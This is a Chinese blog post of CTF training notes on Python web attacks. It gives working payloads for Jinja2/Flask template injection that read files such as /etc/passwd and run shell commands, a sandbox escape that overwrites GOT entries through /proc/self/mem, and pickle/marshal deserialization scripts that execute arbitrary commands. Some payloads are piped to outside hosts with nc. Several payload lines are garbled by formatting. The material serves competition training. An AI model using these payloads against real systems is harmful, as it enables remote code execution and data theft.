CTF-web xman-2018 第八天 web 模板注入 序列化执行

python代码审计

php包容性更大的语言,针对web,简单一些所以大家用这个

python出现后,更加的中性一些,有更多的库,以其为技术基础的东西也很多,比如flask模板等。

企业中java多,但是不适合初学者,调用栈特别多,反序列化,表达式执行。

对于没遇到过的题目,要会收集信息,百度不行还是用谷歌。

学会用英文搜索,而且新很多,谷歌的高级技巧(定向搜索,源码搜)

直接命令注入

对于可以直接执行cmd或者脚本命令的,cmd我们可以|并行管道执行

脚本的则可以闭合然后写入新的命令。

模板注入

对于服务器模板注入,我们需要先看是py2,3,然后根据下面可以使用的类搜索和执行的方法得到文件或者目录。

如果被过滤关键词,我们可以采用一些绕过方法

如果类被删除等我们通过fuzz看到开了什么,有源码的话就不需要了,一般用到的关键字意义如下

常见 payload

# 读文件

    ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

# 写文件

    ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# 执行任意命令

    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

否则的话需要我们一步一步测试

从基类开始,再看子类,测试出被ban的是什么。

如果我们的函数被删除了

我们可以重新加载一下

限制的话就可以再次删除reload

劫持got表

write修改got表 实际上是一个/proc/self/mem的内存操作方法 /proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执

行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过 想做pwn题的劫持got表做我们任意想做的事情

Return to libc

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or().__class__.__bases__[0].__subclasses__()[40]('c'+'at

/home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[

40]('/proc/self/mem', 'w', 0))

第一个地址是system的偏移,第二个是fopen的偏移,我们可以通过objdump获取相关信息

格式化字符串问题

序列化问题

大概的意思就是我们输入的信息可以被当做命令执行,但是需要进行序列化,因为漏洞是发生在发序列化时。

例如pickle序列化漏洞,允许任意对象去定义一个__reduce__方法来申明怎么序列化这个对象,即有限执行这个方法。那么我们可以在传入的payload中定义这个方法,方法中附带上我们的字符串,就可以执行我们字符串的功能

#!/usr/bin/env python
#coding: utf-8
import cPickle
import os
class genpoc(object):
    def __reduce__(self):
        s = """echo moxiaoxi> poc.txt"""  #要执行的命令
        return os.system, (s,)        #os.system("echo moxiaoxi >poc.txt")
e = genpoc()   //获取python对象  里面包含reduce方法,方法里写上我们的命令
poc = cPickle.dumps(e)  //将python对象序列化保存到本地的文件
print poc

# www.a.com/index.php?payload=xxxxxxxxxxxx
# 原理: 我们提交序列化的参数,那么服务器会进行解码
# 发现存在自定义解码方法reduce 执行reduce 执行我们的命令

这是第一个方法,只可以执行system命令,我们还可以执行任意命令

# !/usr/bin/env python
# -*- coding:utf-8 -*-
import marshal
import base64
import cPickle
import urllib

def foo():#这是我们传上去的命令,写在下面
    import os
    def fib(n):     # 自己定义的函数
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)
    os.system('echo anycode >>poc.txt')

try:#尝试使用cPickle来序列号代码对象
    cPickle.dumps(foo.func_code)
except Exception as e:
    print e #TypeError: can't pickle code objects

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized


#为了保证code_serialized中的内容得到执行,我们需要如下代码
#(types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), ''))()

payload =  """ctypes
FunctionType      # 类似于 import system
(cmarshal
loads       
(cbase64
b64decode      # 解码
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))  # 编码的命令 我们的命令在foo中 自带func_code为获取其中代码

print "------------------------------------------------" #编码和发送
print payload
fp =open("poc.pickle","w")    
fp.write(payload)
print "------------------------------------------------"
print urllib.quote(payload)

大师傅小例题

ping执行

例题2

模板注入,同沙箱逃逸中的知识点,{{}}中的会当做命令执行,我们需要采用自带的模块和基类调用我们需要的函数,输入参数等。

绕过的时候可以采用参数和cookie,拼接等形式。

注意是python2还是python3 不同形式的,python3中可能不存在一些库

python3 

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}   
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}


//然后cat 就可以
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
//我们可以改里面的命令
//直接ls就能看到 否则的话find搜索 
 基本格式:find path expression

 1.按照文件名查找

 (1)find / -name httpd.conf  #在根目录下查找文件httpd.conf,表示在整个硬盘查找
 (2)find /etc -name httpd.conf  #在/etc目录下文件httpd.conf

find 搜索目录 -type d
查找某个目录下的所有目录
find /tmp -type d

find 搜索目录 -cmin -时间(单位分钟)
查找etc下面1小时内被修改的文件,根目录下面太多了,指定一个目录
find /etc -cmin -60

find 搜索目录 -size 文件大小
这里的文件大小我们常见的有点不一样,这个大小是数据库,一个数据库等于512个字节,也就是0.5KB,所有1KB等于2个数据块
下面我们查找下大于100MB的文件,应该实际是102400KB*2,所有搜索命令为
find / -size +204800
-号是小于
直接写数字就是等于

python2

两对{}包裹的会被当做命令执行,我们可以来读取文件等

http://202.112.51.130:9009/?name={{9-3}}
        会返回6 则可以执行

我们在使用的时候,上边的py3的代码也可以用。

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd
').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').w
rite("") }}

大师傅例题3

Return to libc 

write修改got表

实际上是一个/proc/self/mem的内存操作方法,/proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执

行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过想做pwn题的劫持got表做我们任意想做的事情

    连接先 nc 202.112.130 8000

先使用read函数读取 文件,因为一些东西被过滤了,我们需要换一种写法

[(r.read())for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]

那么这个读取文件是可以使用的,那么我们可以获得

#coding:utf-8
from pwn import *  

def test(payload):
    conn = remote('202.112.51.130 ', 8010)   //创建连接
    
    # context.log_level='debug'
    conn.recv()
    conn.sendline(payload)  //发送payload
    # data = conn.recvuntil('/bin/rbash')
    conn.recv()
    data = conn.recv()   //第一条获取的误用 第二次获取
    print data  
    # conn.interactive()
    return data

payload ="""[r.read()for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]"""
print test(payload)

如此我们得到了读取的文件,我们可以看到地址,然后就进行地址的查看(自己用工具)

找到之后,我们劫持got表如下

echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687

getflag

echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687

例题4 任意命令执行

看来我们可以输入Payload参数,那边会输出我们的字符串, 测试一下发现时payload小写的

那么使用课上讲的任意代码执行的序列化脚本,foo()内容先system('ls');  然后cat就可以

def foo():#you should write your code in this function    
    import os    
    #rerurn os.popen('ls').read()       
    return os.popen('cat flag').read()  

# 这两次就得到了flag
# 先得到目录 发现flag 直接cat读取

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/85861811
今日推荐